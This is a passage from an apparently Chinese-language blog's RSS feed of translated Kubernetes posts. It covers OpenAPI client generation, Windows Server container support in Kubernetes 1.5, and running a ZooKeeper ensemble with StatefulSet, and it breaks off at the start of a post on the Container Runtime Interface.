     &amp;quot;schemes&amp;quot;: [
      &amp;quot;https&amp;quot;
     ],
     &amp;quot;tags&amp;quot;: [
      &amp;quot;core_v1&amp;quot;
     ],
     &amp;quot;operationId&amp;quot;: &amp;quot;readCoreV1NamespacedPod&amp;quot;,
     &amp;quot;parameters&amp;quot;: [
      {
       &amp;quot;uniqueItems&amp;quot;: true,
       &amp;quot;type&amp;quot;: &amp;quot;boolean&amp;quot;,
       &amp;quot;description&amp;quot;: &amp;quot;Should the export be exact.  Exact export maintains cluster-specific fields like &#39;Namespace&#39;.&amp;quot;,
       &amp;quot;name&amp;quot;: &amp;quot;exact&amp;quot;,
       &amp;quot;in&amp;quot;: &amp;quot;query&amp;quot;
      },
      {
       &amp;quot;uniqueItems&amp;quot;: true,
       &amp;quot;type&amp;quot;: &amp;quot;boolean&amp;quot;,
       &amp;quot;description&amp;quot;: &amp;quot;Should this value be exported.  Export strips fields that a user can not specify.&amp;quot;,
       &amp;quot;name&amp;quot;: &amp;quot;export&amp;quot;,
       &amp;quot;in&amp;quot;: &amp;quot;query&amp;quot;
      }
     ],
     &amp;quot;responses&amp;quot;: {
      &amp;quot;200&amp;quot;: {
       &amp;quot;description&amp;quot;: &amp;quot;OK&amp;quot;,
       &amp;quot;schema&amp;quot;: {
        &amp;quot;$ref&amp;quot;: &amp;quot;#/definitions/v1.Pod&amp;quot;
       }
      },
      &amp;quot;401&amp;quot;: {
       &amp;quot;description&amp;quot;: &amp;quot;Unauthorized&amp;quot;
      }
     }
    },
…
}
…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了这些信息，以及 &lt;code&gt;kube-apiserver&lt;/code&gt; 的 URL，就可以据此来调用接口了（&lt;code&gt;/api/v1/namespaces/{namespace}/pods/{name}&lt;/code&gt;），参数包括 &lt;code&gt;name&lt;/code&gt;、&lt;code&gt;exact&lt;/code&gt; 以及 &lt;code&gt;export&lt;/code&gt; 等，调用结果会返回 Pod 信息。客户库生成器也会使用这些信息来创建一个 API 函数调用来读取 Pod 信息。例如 &lt;a href=&#34;https://github.com/kubernetes-incubator/client-python&#34; target=&#34;_blank&#34;&gt;Python 客户端&lt;/a&gt; 能够很简单的进行如下调用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from kubernetes import client
ret = client.CoreV1Api().read_namespaced_pod(name=&amp;quot;pods_name&amp;quot;, namespace=&amp;quot;default&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://gist.github.com/mbohlool/d5ec1dace27ef90cf742555c05480146&#34; target=&#34;_blank&#34;&gt;https://gist.github.com/mbohlool/d5ec1dace27ef90cf742555c05480146&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;一个简化版的 &lt;a href=&#34;https://gist.github.com/mbohlool/d5ec1dace27ef90cf742555c05480146&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;read_namespaced_pod&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;Python Client：&lt;a href=&#34;https://github.com/kubernetes-incubator/client-python&#34; target=&#34;_blank&#34;&gt;https://github.com/kubernetes-incubator/client-python&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;还可以使用 Swagger-codegen 文档生成器来根据这些信息生成文档：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;GET /api/v1/namespaces/{namespace}/pods/{name}
(readCoreV1NamespacedPod)
read the specified Pod
Path parameters
name (required)
Path Parameter — name of the Pod
namespace (required)
Path Parameter — object name and auth scope, such as for teams and projects
Consumes
This API call consumes the following media types via the Content-Type request header:
*/*

Query parameters
pretty (optional)
Query Parameter — If &#39;true&#39;, then the output is pretty printed.
exact (optional)
Query Parameter — Should the export be exact. Exact export maintains cluster-specific fields like &#39;Namespace&#39;.
export (optional)
Query Parameter — Should this value be exported. Export strips fields that a user can not specify.
Return type
v1.Pod

Produces
This API call produces the following media types according to the Accept request header; the media type will be conveyed by the Content-Type response header.
application/json
application/yaml
application/vnd.kubernetes.protobuf
Responses
200
OK v1.Pod
401
Unauthorized
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有两种方式访问 OpenAPI ：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;从 &lt;code&gt;kube-apiserver&lt;/code&gt;/swagger.json。这个文件会包含所有启用的 GroupVersion 方法和模型，其中的内容会是该 API Server 所对应的最新版本。&lt;/li&gt;
&lt;li&gt;Kubernetes 的 Github 仓库，可以访问 master 或者其他指定的 Release。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;有很多&lt;a href=&#34;http://swagger.io/tools/&#34; target=&#34;_blank&#34;&gt;工具&lt;/a&gt; 能和这些 API 协同工作，例如可以用 &lt;a href=&#34;http://swagger.io/swagger-editor/&#34; target=&#34;_blank&#34;&gt;swagger editor&lt;/a&gt; 来打开规范文件并渲染文档，或者生成客户端；还可以直接利用 &lt;a href=&#34;http://swagger.io/swagger-codegen/&#34; target=&#34;_blank&#34;&gt;swagger codegen&lt;/a&gt; 来生成文档和客户端。自动生成的客户端多数时候是开箱即用的。不过可能需要做一些登录和 Kubernetes 相关的设置。可以使用 &lt;a href=&#34;https://github.com/kubernetes-incubator/client-python&#34; target=&#34;_blank&#34;&gt;Python 客户端&lt;/a&gt; 作为模板来开发自己的客户端。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的 Windows Server 支持</title>
      <link>/post/windows-server-support-in-kubernetes/</link>
      <pubDate>Thu, 22 Dec 2016 23:20:49 +0800</pubDate>
      <guid>/post/windows-server-support-in-kubernetes/</guid>
      <description>

&lt;p&gt;响应群众呼声，&lt;a href=&#34;http://blog.kubernetes.io/2016/12/kubernetes-1.5-supporting-production-workloads.html&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.5&lt;/a&gt; 包含了对 Windows Servern 的支持。&lt;a href=&#34;http://www.gartner.com/document/3446217&#34; target=&#34;_blank&#34;&gt;80%&lt;/a&gt; 的企业应用运行于 Linux + Java 或 .Net + Windows 平台上。Kubernetes 正在 Preview 阶段的这一功能，是贴近企业需求的一次努力。&lt;/p&gt;

&lt;p&gt;Kubernetes Windows Server 2016 以及 Windows 容器支持包含了下列功能的预览版本：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;容器化的多平台应用&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;使用操作系统原生语言，例如 Go 和 .NET 核心开发的应用，在以前是不可能再 Linux 和 Windows  之间进行编排的。现在 Kubernetes 有了 windows Server 2016 支持，这些应用就能够同时部署在 Windows 和 Linux 之下了，开发者可以自行选择操作系统运行时。这一功能，消费者已经等了 20 年了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;同时支持 Windows Server 容器和 Hyper-V 容器&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Windows Server 2016 有两种类型的容器。Windows 容器会共享内核，比较像 Linux 的 Docker 容器。Hyper-V 容器比虚拟机轻量，同时还提供了更好的隔离。他具有独立的内核，直接的内存访问。Kubernetes 对这两种容器都有编排能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;扩展应用生态&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为 Kubernetes 添加 Windows Server 支持的一个好处就是扩展了 Kuberntes 应用的生态环境：IIS，.NET，Windows 服务，ASP.NET，.NET 核心，以及一些其他类型的应用现在可以以 Windows Server 容器的形式被 Kubernetes 调度了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持更多数据中心&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;包含全球 2000 以及财富 500 的很多企业采用了 Kubernetes，托管了几万个应用。加入 Windows 支持之后，这些组织就可以更近一步的将 Windows 应用纳入 Kubernetes 进行管理了。&lt;/p&gt;

&lt;p&gt;将 Windows Server 支持加入 Kubernetes 的过程由 &lt;a href=&#34;https://github.com/kubernetes/community/blob/master/sig-windows/README.md&#34; target=&#34;_blank&#34;&gt;Windows Special Interest Group(SIG)&lt;/a&gt; 牵头完成，其中包含了 Apprenda、Google、Red Hat 以及微软等众多厂商。微软的首席项目经理  Taylor Brown 表示：社区工作进一步推动了 Kubernetes 的 windows 容器支持，落实了微软对 Windows 和 Linux 两个生态系统的支持承诺。&lt;/p&gt;

&lt;h2 id=&#34;使用指南&#34;&gt;使用指南&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;在哪里使用？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;现在就可以开始进行测试，并提供反馈。未来的几个月里，这一功能将会进入 GA 状态，可以在这段时间差进行生产环境的设置。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;能怎么用？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;多数的 Kuberntes 对象，比如 Pods，Services，Labels 都和 Windows Container 兼容。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;还有什么没完善？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;因为网络命名空间的问题导致的 Pod 抽象差异。同一个 Pod 内的 Windows 容器无法利用 localhost 进行通信。Linux 容器就可以利用网络命名空间来共享网络栈。
- DNS 能力实现不完整
- 容器内不支持 UDP&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;什么时候可用？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;需要再等几个发布周期。在 GA 之前，要理顺网络和一些其他的事情，包含 Windows Nano 和 Windows Server Core 的支持。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;技术演示&#34;&gt;技术演示&lt;/h2&gt;

&lt;h2 id=&#34;roadmap&#34;&gt;Roadmap&lt;/h2&gt;

&lt;p&gt;在 Kuberntes 1.5 中，Windows Server 容器支持正处于 Alpha 阶段，当然并不会止步于此。客户希望获得企业级的稳定的容器调度和管理功能，来支撑整个技术路线。这要求我们对 Windows 和 Linux 一视同仁。Windows Server SIG 将在未来的发布中做出以下增强：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;网络 SIG 会持续同微软的合作来增强 Windows Server 容器的网络核心，尤其是容器模式的网络，以及本地叠加网络的支持。&lt;/li&gt;
&lt;li&gt;OOBE 增强 Windows Server Node 的设置部署和检测功能，包括在任何云上部署的能力。&lt;/li&gt;
&lt;li&gt;运行时操作 定义 CRI 监控的过程中，SIG 将在其中扮演重要角色，将为 Windows Server 容器提供深入的监控能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;起步&#34;&gt;起步&lt;/h2&gt;

&lt;p&gt;请查看 &lt;a href=&#34;http://kubernetes.io/docs/getting-started-guides/windows/&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 获取更多细节信息，以便尝试 Windows Server 2016 上的 Kubernetes。如果读者愿意帮助促进 Windows Server 支持，请联系 &lt;a href=&#34;https://github.com/kubernetes/community/blob/master/sig-windows/README.md&#34; target=&#34;_blank&#34;&gt;Windows Server SIG&lt;/a&gt;，或者联系 SIG Lead &lt;a href=&#34;https://github.com/michmike&#34; target=&#34;_blank&#34;&gt;Michael Michael&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>StatefulSet: Kubernetes 中对有状态应用的运行和伸缩</title>
      <link>/post/statefulset-in-kubernetes/</link>
      <pubDate>Thu, 22 Dec 2016 03:43:00 +0800</pubDate>
      <guid>/post/statefulset-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/12/statefulset-run-scale-stateful-applications-in-kubernetes&#34; target=&#34;_blank&#34;&gt;StatefulSet: Run and Scale Stateful Applications Easily in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在最新发布的 &lt;a href=&#34;http://blog.kubernetes.io/2016/12/kubernetes-1.5-supporting-production-workloads.html&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.5&lt;/a&gt; 我们将过去的 PetSet 功能升级到了 Beta 版本，并重新命名为 &lt;a href=&#34;http://kubernetes.io/docs/concepts/abstractions/controllers/statefulsets/&#34; target=&#34;_blank&#34;&gt;StatefulSet&lt;/a&gt;。除了依照社区民意改了名字之外，这一 API 对象并没有太大变化，不过我们在向集合里部署 Pod 的过程中加入了“每索引最多一个”的语义。有了顺序部署、顺序终结、唯一网络名称以及持久稳定的存储，我们认为，对于大量的有状态容器化负载，我们已经具备了一定的支持能力。我们并不是宣称这一功能已经完全完成，但是我们相信他已经处于一个可用状态，并且我们会在推动其正式发布的过程中保持其兼容性。&lt;/p&gt;

&lt;h2 id=&#34;statefulset-的采用时机&#34;&gt;StatefulSet 的采用时机&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中，&lt;a href=&#34;http://kubernetes.io/docs/user-guide/deployments/&#34; target=&#34;_blank&#34;&gt;Deployment&lt;/a&gt; 和 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/replicasets/&#34; target=&#34;_blank&#34;&gt;ReplicaSets&lt;/a&gt; 都是运行无状态应用的有效手段。但这两种方式对于有状态应用来说就不太合适了。StatefulSet 的目的就是给为数众多的有状态负载提供正确的控制器支持。然而需要注意的是，不一定所有的有存储应用都是适合移植到 Kubernetes 上的，在移植存储层和编排框架之前，需要回答以下几个问题。&lt;/p&gt;

&lt;h3 id=&#34;应用是否可以使用远程存储&#34;&gt;应用是否可以使用远程存储？&lt;/h3&gt;

&lt;p&gt;目前，我们推荐用远程存储来使用 StatefulSets，就要对因为网络造成的存储性能损失有一个准备：即使是专门优化的实例，也无法同本地加载的 SSD 相提并论。你的云中的网络存储，能够满足 SLA 要求么？如果答案是肯定的，那么利用 StatefulSet 运行这些应用，就能够获得自动化的优势。如果应用所在的 Node 发生故障，包含应用的 Pod 会调度到其他 Node 上，在这之后会重新加载他的网络存储以及其中的数据。&lt;/p&gt;

&lt;h3 id=&#34;这些应用是否有伸缩需求&#34;&gt;这些应用是否有伸缩需求？&lt;/h3&gt;

&lt;p&gt;用 StatefulSet 运行应用会带来什么好处呢？你的整个组织是否只需要一个应用实例？对该应用的伸缩是否会引起问题？如果你只需要较少的应用实例数量，这些实例能够满足组织现有的需要，而且可以预见的是，应用的负载不会很快增长，那么你的本地应用可能无需移植。&lt;/p&gt;

&lt;p&gt;然而，如果你的系统是微服务所构成的生态系统，就会比较频繁的交付新服务，如果更近一步，服务是有状态的，那么 Kubernetes 的自动化和健壮性特性会对你的系统有很大帮助。如果你已经在使用 Kubernetes 来管理你的无状态服务，你可能会想要在同一个体系中管理你的有状态应用。&lt;/p&gt;

&lt;h3 id=&#34;预期性能增长的重要性&#34;&gt;预期性能增长的重要性？&lt;/h3&gt;

&lt;p&gt;Kubernetes 还不支持网络或存储在 Pod 之间的隔离。如果你的应用不巧和嘈杂的邻居共享同一个节点，会导致你的 QPS 下降。解决方式是把 Pod 调度为该 Node 的唯一租户（独占服务器），或者使用互斥规则来隔离会争用网络和磁盘的 Pod，但是这就意味着用户必须鉴别和处置（竞争）热点。&lt;/p&gt;

&lt;p&gt;如果榨干有状态应用的最大 QPS 不是你的首要目标，而且你愿意也有能力处理竞争问题，似的有状态应用能够达到 SLA 需要，又如果对服务的移植、伸缩和重新调度是你的主要需求，Kubernetes 和 StatefulSet 可能就是解决问题的好方案了。&lt;/p&gt;

&lt;h3 id=&#34;你的应用是否需要特定的硬件或者实例类型&#34;&gt;你的应用是否需要特定的硬件或者实例类型&lt;/h3&gt;

&lt;p&gt;如果你的有状态应用在高端硬件或高规格实例上运行，而其他应用在通用硬件或者低规格实例上运行，你可能不想部署一个异构的集群。如果可以把所有应用都部署到统一实例规格的实例上，那么你就能够从 Kubernetes 获得动态资源调度和健壮性的好处。&lt;/p&gt;

&lt;h2 id=&#34;实践环节-zookeeper&#34;&gt;实践环节 - ZooKeeper&lt;/h2&gt;

&lt;p&gt;有两个原因让 [ZooKeeper] 成为 StatefulSet 的好例子。首先，StatefulSet 在其中演示了运行分布式、强一致性存储的应用的能力；其次，ZooKeeper 也是 &lt;a href=&#34;http://hadoop.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Hadoop&lt;/a&gt; 和 &lt;a href=&#34;https://kafka.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Kafka&lt;/a&gt; 在 Kubernetes 上运行的前置条件。在 Kubernetes 文档中有一个 &lt;a href=&#34;http://kubernetes.io/docs/tutorials/stateful-application/zookeeper/&#34; target=&#34;_blank&#34;&gt;深度教程&lt;/a&gt; 说明了在 Kubernetes 集群上部署 ZooKeeper Ensemble 的过程，这里会简要描述一下其中的关键特性。&lt;/p&gt;

&lt;h3 id=&#34;创建-zookeeper-的-ensemble&#34;&gt;创建 ZooKeeper 的 Ensemble&lt;/h3&gt;

&lt;p&gt;创建 Ensemble 很容易，只要用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/kubectl/kubectl_create/&#34; target=&#34;_blank&#34;&gt;kubectl create&lt;/a&gt; 来根据定义来创建对象就可以了。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl create -f https://raw.githubusercontent.com/kubernetes/kubernetes.github.io/master/docs/tutorials/stateful-application/zookeeper.yaml
service &amp;quot;zk-headless&amp;quot; created
configmap &amp;quot;zk-config&amp;quot; created
poddisruptionbudget &amp;quot;zk-budget&amp;quot; created
statefulset &amp;quot;zk&amp;quot; created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来 StatefulSet 控制器开始&lt;strong&gt;顺序&lt;/strong&gt;创建各个 Pod，在创建后续 Pod 之前，首先要等前面的 Pod 运行成功并进入到就绪状态。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get -w -l app=zk
NAME      READY     STATUS    RESTARTS   AGE
zk-0      0/1       Pending   0          0s
zk-0      0/1       Pending   0         0s
zk-0      0/1       Pending   0         7s
zk-0      0/1       ContainerCreating   0         7s
zk-0      0/1       Running   0         38s
zk-0      1/1       Running   0         58s
zk-1      0/1       Pending   0         1s
zk-1      0/1       Pending   0         1s
zk-1      0/1       ContainerCreating   0         1s
zk-1      0/1       Running   0         33s
zk-1      1/1       Running   0         51s
zk-2      0/1       Pending   0         0s
zk-2      0/1       Pending   0         0s
zk-2      0/1       ContainerCreating   0         0s
zk-2      0/1       Running   0         25s
zk-2      1/1       Running   0         40s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下 StatefulSet 中每个 Pod 的主机名称，你会发现 Pod 的主机名也包含了 Pod 的顺序：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ for i in 0 1 2; do kubectl exec zk-$i -- hostname; done
zk-0
zk-1
zk-2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;ZooKeeper 在一个名为 &amp;ldquo;myid&amp;rdquo; 的文件中保存了每个服务器的唯一标识符。这个标识符只是自然数。在 Ensemble 的服务器中，&amp;rdquo;myid&amp;rdquo; 文件中保存的数字就是 Pod 主机名中的顺序号加一。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ for i in 0 1 2; do echo &amp;quot;myid zk-$i&amp;quot;;kubectl exec zk-$i -- cat /var/lib/zookeeper/data/myid; done
myid zk-0
1
myid zk-1
2
myid zk-2
3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;基于主机名，每个 Pod 都有独立的网络地址，这个网域由 zk-headless 这一 Headless 服务所控制。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  for i in 0 1 2; do kubectl exec zk-$i -- hostname -f; done
zk-0.zk-headless.default.svc.cluster.local
zk-1.zk-headless.default.svc.cluster.local
zk-2.zk-headless.default.svc.cluster.local
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 具有了唯一的序号和网络地址，就可以用来在 ZooKeeper 的配置文件中设置 Ensemble 成员了。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl exec zk-0 -- cat /opt/zookeeper/conf/zoo.cfg
clientPort=2181
dataDir=/var/lib/zookeeper/data
dataLogDir=/var/lib/zookeeper/log
tickTime=2000
initLimit=10
syncLimit=2000
maxClientCnxns=60
minSessionTimeout= 4000
maxSessionTimeout= 40000
autopurge.snapRetainCount=3
autopurge.purgeInteval=1
server.1=zk-0.zk-headless.default.svc.cluster.local:2888:3888
server.2=zk-1.zk-headless.default.svc.cluster.local:2888:3888
server.3=zk-2.zk-headless.default.svc.cluster.local:2888:3888
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;StatefulSet 让用户可以用稳定、可重复的方式来部署 ZooKeeper。不会创建具有重复 ID 的服务器，服务器之间可以通过稳定的网络地址互相通信，因为 Ensemble 具有稳定的成员关系，因此 Leader 选拔和写入复制能力也得到了保障。&lt;/p&gt;

&lt;p&gt;检查 Ensemble 工作状况的最简单方式就是向一台服务器写入一个值，然后从另一台服务器中读取。可以利用 ZooKeeper 自带的 &amp;ldquo;zkCli.sh&amp;rdquo; 脚本来创建包含数据的 ZNode。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl exec zk-0 zkCli.sh create /hello world
...

WATCHER::

WatchedEvent state:SyncConnected type:None path:null
Created /hello
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用同一脚本，可以从 Ensemble 另外一台服务器中读取数据。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl exec zk-1 zkCli.sh get /hello
...

WATCHER::

WatchedEvent state:SyncConnected type:None path:null
world
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以用删除 zk StatefulSet 的方式停掉 Ensemble。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl delete statefulset zk
statefulset &amp;quot;zk&amp;quot; deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;级联删除会销毁 StatefulSet 中的每个 Pod，并且按照创建顺序的反序来执行，只有在成功终结后面一个之后，才会继续下一个删除操作。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl get pods -w -l app=zk
NAME      READY     STATUS    RESTARTS   AGE
zk-0      1/1       Running   0          14m
zk-1      1/1       Running   0          13m
zk-2      1/1       Running   0          12m
NAME      READY     STATUS        RESTARTS   AGE
zk-2      1/1       Terminating   0          12m
zk-1      1/1       Terminating   0         13m
zk-0      1/1       Terminating   0         14m
zk-2      0/1       Terminating   0         13m
zk-2      0/1       Terminating   0         13m
zk-2      0/1       Terminating   0         13m
zk-1      0/1       Terminating   0         14m
zk-1      0/1       Terminating   0         14m
zk-1      0/1       Terminating   0         14m
zk-0      0/1       Terminating   0         15m
zk-0      0/1       Terminating   0         15m
zk-0      0/1       Terminating   0         15m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以使用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/kubectl/kubectl_apply/&#34; target=&#34;_blank&#34;&gt;kubectl apply&lt;/a&gt; 命令来重建 zk StatefulSet，并重新部署 Ensemble。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl apply -f http://k8s.io/docs/tutorials/stateful-application/zookeeper.yaml
service &amp;quot;zk-headless&amp;quot; configured
configmap &amp;quot;zk-config&amp;quot; configured
statefulset &amp;quot;zk&amp;quot; created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果使用 &amp;ldquo;zkCli.sh&amp;rdquo; 脚本来尝试获取删除 StatefulSet 之前写入的数据，会发现数据依然存在。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  kubectl exec zk-2 zkCli.sh get /hello
...

WATCHER::

WatchedEvent state:SyncConnected type:None path:null
world
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有的 Pod 都被销毁，他们一旦被重新调度，StatefulSet 也能保证 Ensemble 能够选拔新的 Leader 并继续提供服务。&lt;/p&gt;

&lt;h3 id=&#34;node-故障的容错&#34;&gt;Node 故障的容错&lt;/h3&gt;

&lt;p&gt;ZooKeeper 会在 Ensmble 的服务器中复制他的状态机，用于应对 Node 故障。缺省情况下 Kubernetes 调度器可以在同一个 Node 上部署属于 zk StatefulSet 的多个 Pod，假设 zk-0 和 zk-1 两个 Pod 被部署在同一个 Node 上，如果这一 Node 出现故障，ZooKeepers Ensemble 会因为数量不足造成无法提交写入，ZooKeeper 会出现服务中断，直到 Pod 被重新调度。&lt;/p&gt;

&lt;p&gt;在集群中，建议为关键进程预留更多资源，这样就能保证故障情况发生的时候能够迅速重新调度 Pod，缩短故障时间。&lt;/p&gt;

&lt;p&gt;如果这样无法 SLA 规定的停机时间，那么就应该使用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/node-selection/&#34; target=&#34;_blank&#34;&gt;PodAntiAffinity( Pod 互斥性)&lt;/a&gt;注解。用来创建 Ensemble 的定义文件中就包含了这样的注解，他会要求 Kubernetes 调度器不要把 zk StatefulSet 中的多个 Pod 部署在同一 Node 上。&lt;/p&gt;

&lt;h3 id=&#34;计划内维护的容错&#34;&gt;计划内维护的容错&lt;/h3&gt;

&lt;p&gt;用于创建 ZooKeeper Ensemble 的描述文件还创建了一个 &lt;a href=&#34;http://kubernetes.io/docs/admin/disruptions/&#34; target=&#34;_blank&#34;&gt;PodDistruptionBudget( Pod 中断预算 )&lt;/a&gt; 对象：zk-budget。zk-budget 用于指示 Kubernetes， 这一服务能够容忍的中断 Pod （不健康 Pod）的上限。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;podAntiAffinity&amp;quot;: {
    &amp;quot;requiredDuringSchedulingRequiredDuringExecution&amp;quot;: [
      {
        &amp;quot;labelSelector&amp;quot;: {
          &amp;quot;matchExpressions&amp;quot;: [
            {
              &amp;quot;key&amp;quot;: &amp;quot;app&amp;quot;,
              &amp;quot;operator&amp;quot;: &amp;quot;In&amp;quot;,
              &amp;quot;values&amp;quot;: [
                &amp;quot;zk-headless&amp;quot;
              ]
            }
          ]
        },
        &amp;quot;topologyKey&amp;quot;: &amp;quot;kubernetes.io/hostname&amp;quot;
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get poddisruptionbudget zk-budget
NAME        MIN-AVAILABLE   ALLOWED-DISRUPTIONS   AGE
zk-budget   2               1                     2h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;zk-budget 定义，至少要有两个处于可用状态的成员才能保障 Ensemble 的健康。如果在离线之前对 Node 进行 Drain 操作，如果这一操作过程中终止的 Pod 会违反预算，Drain 操作就会失败。如果使用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/kubectl/kubectl_drain/&#34; target=&#34;_blank&#34;&gt;kubectl drain&lt;/a&gt;，来对 Node 进行 cordon 操作并驱逐所有其中运行的 Node，PodDistruption 让你可以确认这一操作不会中断有状态应用的服务。&lt;/p&gt;

&lt;h2 id=&#34;更进一步&#34;&gt;更进一步&lt;/h2&gt;

&lt;p&gt;因为 Kubernetes 的开发工作目标是可用，我们希望获得更多来自用户的设想。如果你想要帮我们处理问题，可以看看 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/labels/area%2Fstateful-apps&#34; target=&#34;_blank&#34;&gt;GitHub 上关于 statful 的 Issues&lt;/a&gt;。然而为了 API 的易于理解，我们并不准备实现所有的功能请求。我们会优先实现一些能够对所有有状态应用产生改善的功能，例如滚动更新支持、Node 升级的集成、使用高速的本地存储等。StatefulSet 的目的在于支持尽可能多而不是全部的有状态应用。基于这些考虑，我们会避免依赖隐藏特性或者技术的方式来充实 StatefulSet。每个人都可以开发一个想 StatefulSets 的控制器。我们称之为 “making it forkable”。明年，我们希望更多的流行的有状态应用能够有自己的社区支持的独立控制器或 &lt;a href=&#34;https://coreos.com/blog/introducing-operators.html&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;操作器&amp;rdquo;&lt;/a&gt;。我们已经听说了 etcd、Redis 和 ZooKeeper 的自定义控制器的开发工作。我们期待更多类似案例不断涌现。&lt;/p&gt;

&lt;p&gt;ETCD 和 Prometheus 的 Operator 来自 CoreOS，演示了一种超出 StatefulSet 能力的自动化和集成能力。另一方面，使用 Deployment 和 StatefulSet 这样的通用控制器能够用同一种对象管理大量有状态应用。Kubernetes 用户有了运行有状态应用的能力，而且可以自行在两种方式之中进行选择。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的容器运行时接口</title>
      <link>/post/container-runtime-interface-cri-in-kubernetes/</link>
      <pubDate>Tue, 20 Dec 2016 22:13:18 +0800</pubDate>
      <guid>/post/container-runtime-interface-cri-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/12/container-runtime-interface-cri-in-kubernetes&#34; target=&#34;_blank&#34;&gt;Introducing Container Runtime Interface (CRI) in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;文中多次出现了个单词 &lt;code&gt;shim&lt;/code&gt;，胡翻成代理了，虽然垫片还是比鲁棒啥的好听。。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;归根结底，Kubernetes Node 的最底层就是启动和停止容器的组件了，这一部分我们称之为容器运行时（ Container Runtim ），这其中最知名的也就是 Docker 了，这一领域正在快速成长，他并不孤独。为了让 Kubernetes 更具扩展性，我们投入了不少精力，在 Kubernetes 中加入了容器运行时插件 API，我们称之为 “CRI”。&lt;/p&gt;

&lt;h2 id=&#34;cri-是什么-kubernetes-需要他么&#34;&gt;CRI 是什么？Kubernetes 需要他么？&lt;/h2&gt;

